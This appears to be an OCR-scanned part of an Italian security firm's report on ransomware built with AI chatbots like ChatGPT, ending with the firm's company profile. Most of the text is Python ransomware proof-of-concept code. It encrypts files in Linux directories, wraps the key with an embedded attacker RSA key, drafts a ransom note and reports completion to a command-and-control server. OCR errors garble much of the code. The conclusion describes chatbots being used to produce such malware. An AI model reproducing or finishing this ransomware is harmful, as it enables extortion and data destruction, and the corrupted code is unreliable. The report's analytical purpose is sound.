482 print("RW done"

483 put(url="http://{}:{}{}".format(C2_IP, C2_PORT, C2_RW_ROUTE), data="")
484

485

486 ~ def run(encrypt, absolute_paths=None):

487 if absolute_paths is not None and type(absolute_paths) == str:
488 start_dirs = absclute_paths.split("”,")

489 else;

49@ start_dirs = LINUX_STARTDIRS

491

492 # Encrypt AES key with attacker's embedded RSA public key

493 server_key = RSA.importKey(SERVER_PUBLIC_RSA_KEY)
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Successivamente viene costruita anche una struttura del Readme, personalizzabile anche per
quanto riguarda il nome dell’azienda potenzialmente vittima di un attacco sferrabile con tale

minaccia.
494 encryptor = PKCS1_OAEP.new(server_key)
495 encrypted_key_b64 = b6dencede(encryptor.encrypt(HARDCODED_KEY)).decode("ascii™)
496 # print("Encrypted key", encrypted_key b4, "\n")
497
498 if encrypt:
499 # print("[COMPANY_NAME]\n\n"
500 # "YOUR NETWORK IS ENCRYPTED NOW\n"
5e1 # "USE - TO GET THE PRICE FOR YOUR DATA\n"
502 # “DO NOT GIVE THIS EMAIL TO 3RD PARTIES\n"
583 # “DO NOT REMAME OR MOVE THE FILE\n"
504 # “THE FILE IS ENCRYPTED WITH THE FOLLOWING KEY\n"
505 # "[begin_key]\n{}\n[end_key]\n"
506 # “KEEP IT\n".format(SERVER_PUBLIC_RSA_KEY))
507 key = HARDCODED_KEY
508 else:
509 # RSA Decryption function - warning that private key is hardcoded for testing purposes
5108 rsa_key = RSA.importKey(SERVER_PRIVATE_RSA_KEY)
511 decryptor = PKCS1_OAEP.new(rsa_key)
512 key = decryptor.decrypt(b6ddecode(encrypted_key_b64))
513
514 if encrypt:
515 with open(". + RATE_FILE, "w+"): # create file if not exists and truncate contents if exists
516 pass
517 encrypt_files(key, start_dirs)
518 if not (path.exists(get_reset path()) or path.exists({get_terminate path())):
519 notify rw_done() # only notify if legitimately done and not terminated by agent
528 else:
521 decrypt_files(key, start_dirs)
522
523
524 v def parse_args():
525 parser = ArgumentParser{description='Ransomware PoC')
526 parser.add_argument('-p', '--path’,
527 help="Comma-separated (no-whitespace) list of absclute paths to start encryption.
528 + 'If none specified, defaults to {}'.format(LINUX_STARTDIRS),
529 action="store")
538
531 group = parser.add_mutually_exclusive_group(required=True)
532 group.add_argument('-e’, '--encrypt’, help='Enable encryption of files’,
533 action="store_true')
534 group.add_argument(’-d", '--decrypt’, help="Enable decryption of encrypted files’,
535 action="store_true')
536
537 return parser.parse_args()
538
539
548 if __name_ == "__main__":
541 if len(argv) <= 1:
542 print(’'[*] Ransomware - PoC\n')
543 print('Usage: python3 main.py -h")
544 print('{} -h for help.'.format(argv[8]))
545 exit(@)
546
547 # Parse arguments
548 args = parse_args()
549 encrypt = args.encrypt
55@ # decrypt = args.decrypt
551 absolute paths = str(args.path)
552
553 run{encrypt, absolute paths)
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CONCLUSIONI:

ChatGPT, Gemini, Microsoft Copilot: sono solo alcune delle specifiche implementazioni di
chatbots virtuali con intelligenza artificiale generativa che possono essere considerati i nuovi
protagonisti digitali della nostra societa. Essi, infatti, sono considerati un aiuto concreto per
effettuare determinate attivita, come ad esempio lo sviluppo di codice, effettuare debugging,
creare immagini, presentazioni, ecc.

Tuttavia, come abbiamo potuto constatare, tale tipologia di tecnologia puo essere considerata
pericolosa, non solo perché questi chatbots virtuali possono facilmente creare minacce, ma
anche perché con tutta probabilita, il nuovo threat landscape riguardera proprio malware
creati con chatbots Al. Con tutta probabilita le richieste di ransomware development rivolte a
ChatGPT sono state prive di dettagli inerenti a processi di obfuscation, packing, evasion, anti-
debugging ed anti-analysis pertanto tale peculiarita non sono state attenzionate in fase di
sviluppo da parte del chatbot Al. Ciononostante, uno degli aspetti fondamentali dell'Al ¢ la
sua capacita di learning ed evoluzione, pertanto & molto probabile che le future minacce
sviluppate con chatbots virtuali siano sempre piu avanzate e tecnicamente complesse, dando
quindi la possibilita a chiunque di sviluppare nuove minacce sempre piu sofisticate e con un
approccio “as-a-Service”, ovvero completamente personalizzabili. Infine, & importante
sottolineare come, nell'ambito di ransomware development, ChatGPT abbia provveduto non
solo a proporre come linguaggio di programmazione Python (dando quindi un‘opportunita di
multi-platform infection su vari sistemi operativi) ma anche predisponendo una struttura di
connessione remota che, seppur pensata per scopi leciti, puo essere utilizzata per un contesto
di malware infection e ransomware deployment.

Riferimenti:

[0]: ChatGPT-aided ransomware in China results in four arrests as Al raises cybersecurity concerns |

South China Morning Post (scmp.com)

[1]: Malware-With-Chat-GPT/Ransom V1.py at main - HectorsGrav3/Malware-With-Chat-GPT - GitHub

[2]: GitHub - gemini-security/Getting-ChatGPT-to-write-us-a-Malware-Ransomware-in-C-: Getting

ChatGPT to write us a Malware (Ransomware) in C#

[3]: roar_client/rwpoc.py at master - jluech/roar client - GitHub
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About Us

Swascan ¢ una Cyber Security Company nata da un'idea di Pierguido lezzi e Raoul Chiesa.

La prima azienda di Cyber Security Italiana proprietaria di una piattaforma di Cyber Security
Testing e Threat Intelligence, oltre ad un centro di eccellenza di Cyber Security Research; centro
premiato con numerosi riconoscimenti nazionali e internazionali dai piu importanti player del
mercato IT e non solo.

Da ottobre 2020, Swascan e parte integrante di Tinexta Cyber (Tinexta S.P.A), diventando
protagonista attiva del primo polo nazionale di Cyber Security: non solo una azienda, ma un
gruppo italiano, un nuovo hub nazionale specializzato nei servizi di identita digitale e sicurezza
digitale.
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